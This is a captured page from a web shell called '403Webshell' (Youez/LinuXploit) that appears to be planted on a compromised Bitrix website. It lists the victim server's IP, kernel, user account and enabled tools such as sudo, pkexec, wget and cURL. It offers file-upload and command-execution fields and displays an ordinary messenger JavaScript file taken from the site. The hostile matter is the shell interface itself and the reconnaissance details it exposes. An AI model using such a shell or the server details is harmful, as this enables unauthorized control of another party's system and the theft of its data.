403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/im/view/element/attach/src/mixin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/im/view/element/attach/src/mixin/attachLinks.js
import { Utils } from "im.lib.utils";

export const AttachLinks = {
	methods:
	{
		openLink(event)
		{
			const element = event.element;
			const eventData = event.event;

			if (!Utils.platform.isBitrixMobile() && element.LINK)
			{
				return;
			}

			if (element.LINK && eventData.target.tagName !== 'A')
			{
				Utils.platform.openNewPage(element.LINK);
			}
			else if (!element.LINK)
			{
				const entity = {
					id: null,
					type: null
				};
				if (element.hasOwnProperty('USER_ID') && element.USER_ID > 0)
				{
					entity.id = element.USER_ID;
					entity.type = 'user';
				}
				if (element.hasOwnProperty('CHAT_ID') && element.CHAT_ID > 0)
				{
					entity.id = element.CHAT_ID;
					entity.type = 'chat';
				}

				if (entity.id && entity.type && window.top['BXIM'])
				{
					const popupAngle = !BX.MessengerTheme.isDark();
					window.top['BXIM'].messenger.openPopupExternalData(
						eventData.target,
						entity.type,
						popupAngle,
						{'ID': entity.id}
					);
				}
				else if (navigator.userAgent.toLowerCase().includes('bitrixmobile'))
				{
					let dialogId = '';
					if (entity.type === 'chat')
					{
						dialogId = `chat${entity.id}`;
					}
					else
					{
						dialogId = entity.id;
					}

					if (dialogId !== '')
					{
						BXMobileApp.Events.postToComponent("onOpenDialog", [{dialogId: dialogId}, true], 'im.recent');
					}
				}
			}
		}
	}
};

Youez - 2016 - github.com/yon3zu
LinuXploit